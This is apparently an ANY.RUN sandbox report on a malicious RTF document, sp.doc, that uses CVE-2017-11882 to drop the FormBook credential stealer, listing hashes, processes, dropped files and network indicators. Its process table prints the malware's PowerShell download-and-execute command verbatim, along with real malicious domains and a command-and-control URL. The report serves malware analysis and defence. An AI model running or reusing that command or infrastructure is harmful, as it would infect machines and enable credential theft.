analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

sp.doc

Full analysis: https://app.any.run/tasks/03d06ec3-fed5-4390-a242-eeee8cdf1c33
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Malware Trends Tracker     >>>
Analysis date: June 12, 2019, 06:06:39
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
loader
trojan
formbook
stealer
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

D378B661BE318409E6481F9A7F6031EF

SHA1:

4FB9A7A20AF7F1EB68B014D8839AC3CF4885E1BD

SHA256:

4F392579F32F432888537B543D9BEEA1D9AA921A75FF0D124217072CF9C9279F

SSDEEP:

768:qu1KfnslbBJh6WL6wdeNeHIN7e9ew3N1jn8lcNLSxywlqNAcLV7JsxoKAhPa9QjP:quksxh6wqz0ZbXQOJnP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3692)

    • Executes PowerShell scripts

      • cmd.exe (PID: 3260)

    • Application was dropped or rewritten from another process

      • srO.exe (PID: 3160)
      • srO.exe (PID: 300)
      • srO.exe (PID: 964)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2320)

    • FORMBOOK was detected

      • explorer.exe (PID: 2036)

    • Connects to CnC server

      • explorer.exe (PID: 2036)

    • Changes the autorun value in the registry

      • msiexec.exe (PID: 2684)

    • Actions looks like stealing of personal data

      • msiexec.exe (PID: 2684)

    • Formbook was detected

      • msiexec.exe (PID: 2684)
      • Firefox.exe (PID: 2088)

    • Stealing of credential data

      • msiexec.exe (PID: 2684)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3692)
      • EQNEDT32.EXE (PID: 2436)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3692)
      • msiexec.exe (PID: 2684)

    • Creates files in the user directory

      • powershell.exe (PID: 2320)
      • msiexec.exe (PID: 2684)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2320)

    • Application launched itself

      • srO.exe (PID: 300)
      • srO.exe (PID: 964)

    • Loads DLL from Mozilla Firefox

      • msiexec.exe (PID: 2684)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3384)
      • Firefox.exe (PID: 2088)

    • Starts Microsoft Office Application

      • explorer.exe (PID: 2036)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3384)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3692)

    • Manual execution by user

      • msiexec.exe (PID: 2684)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (28.5)

EXIF

RTF

InternalVersionNumber: 93
CharactersWithSpaces: 13494
Characters: 11503
Words: 2017
Pages: 3
TotalEditTime: 7 minutes
RevisionNumber: 1
ModifyDate: 2018:11:19 07:44:00
CreateDate: 2018:11:19 07:33:00
LastModifiedBy: Anthony Eayrs
Author: Anthony Eayrs
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
12
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs powershell.exe eqnedt32.exe no specs sro.exe no specs sro.exe no specs sro.exe no specs #FORMBOOK msiexec.exe cmd.exe no specs #FORMBOOK explorer.exe #FORMBOOK firefox.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3384"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\sp.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3692"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3260cmd.exe /c PowerShell "try{$QDP=$env:temp+'\srO.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://azure-pricing.com/EF8BC0.exe', $QDP);(New-Object -com Shell.Application).ShellExecute( $QDP);}catch{}"C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2320PowerShell "try{$QDP=$env:temp+'\srO.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://azure-pricing.com/EF8BC0.exe', $QDP);(New-Object -com Shell.Application).ShellExecute( $QDP);}catch{}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2436"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE—svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
300"C:\Users\admin\AppData\Local\Temp\srO.exe" C:\Users\admin\AppData\Local\Temp\srO.exe—powershell.exe
User:
admin
Company:
Apple
Integrity Level:
MEDIUM
Description:
COdE LAbOrAtORies, InC.
Exit code:
0
Version:
1.00
964"C:\Users\admin\AppData\Local\Temp\srO.exe" C:\Users\admin\AppData\Local\Temp\srO.exe—srO.exe
User:
admin
Company:
Apple
Integrity Level:
MEDIUM
Description:
COdE LAbOrAtORies, InC.
Exit code:
0
Version:
1.00
3160"C:\Users\admin\AppData\Local\Temp\srO.exe" C:\Users\admin\AppData\Local\Temp\srO.exe—srO.exe
User:
admin
Company:
Apple
Integrity Level:
MEDIUM
Description:
COdE LAbOrAtORies, InC.
Exit code:
0
Version:
1.00
2684"C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3248/c del "C:\Users\admin\AppData\Local\Temp\srO.exe"C:\Windows\System32\cmd.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 965
Read events
1 171
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
86
Text files
4
Unknown types
2

Dropped files

PID
Process
Filename
Type
3384WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE8F.tmp.cvr —
MD5:—
SHA256:—
2320powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0MBDXV10WUL5H3BJMTWH.temp —
MD5:—
SHA256:—
3384WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:AAE1F34939203117AC1F4B1DA330748D
SHA256:A8522EFD13191ED100712611DBB7B818993A3A9AEE4584A1360605C4D2C4BD74
964srO.exeC:\Users\admin\AppData\Local\Temp\~DFC2005094ADD35AF1.TMPbinary
MD5:09872276E7BC1E224138F19CF1008C09
SHA256:B2DA0540727A1D88E389097C3B7B0DD240DC0806F3BC1A34B118CF059130E021
3384WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$sp.docpgc
MD5:63D5051CE439ED7D32E019D3D32D2962
SHA256:F0FDAE0567104BCC892FEBC799A413D33C1EDE8CA6BA4D3D4CA276CDEE0A24EE
2320powershell.exeC:\Users\admin\AppData\Local\Temp\srO.exeexecutable
MD5:14DAD3211B4430A045F0919AF67D9470
SHA256:502366ADD58B57E0F7298B2300D348AB17889683DC8B6BA52559CF32E31AB61F
2320powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
2320powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF121787.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
300srO.exeC:\Users\admin\AppData\Local\Temp\~DF0DD7FB85AFF2A7CE.TMPbinary
MD5:09872276E7BC1E224138F19CF1008C09
SHA256:B2DA0540727A1D88E389097C3B7B0DD240DC0806F3BC1A34B118CF059130E021
2684msiexec.exeC:\Users\admin\AppData\Roaming\3-0M266A\3-0logrc.inibinary
MD5:7DD5EF3DBBB351ACFC3671A6E0F49047
SHA256:BCD6E29EC1D7F26598284623704D15326637F2E083F4ADDB0A82FF876FDC2B99
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2036
explorer.exe
GET
301
104.31.75.124:80
http://www.sandrascheetzwise.com/o447/?TZ=LLeUGEXi/TnkFC8nerQeKdFP8jjvT7mvTtKwYib31bu6HkrzFP/rf1K4VEvb6X8Jqwlf/Q==&Ir=Y2sDGXLhu22tf4J
US
—
—
malicious
2320
powershell.exe
GET
200
65.75.169.236:80
http://azure-pricing.com/EF8BC0.exe
US
executable
420 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2036
explorer.exe
104.31.75.124:80
www.sandrascheetzwise.com
Cloudflare Inc
US
shared
2320
powershell.exe
65.75.169.236:80
azure-pricing.com
NEXCESS.NET L.L.C.
US
suspicious

DNS requests

Domain
IP
Reputation
azure-pricing.com
  • 65.75.169.236
malicious
www.sandrascheetzwise.com
  • 104.31.75.124
  • 104.31.74.124
malicious
www.salasdoepost.com
  • —
unknown

Threats

PID
Process
Class
Message
2320
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2320
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2036
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
sp.doc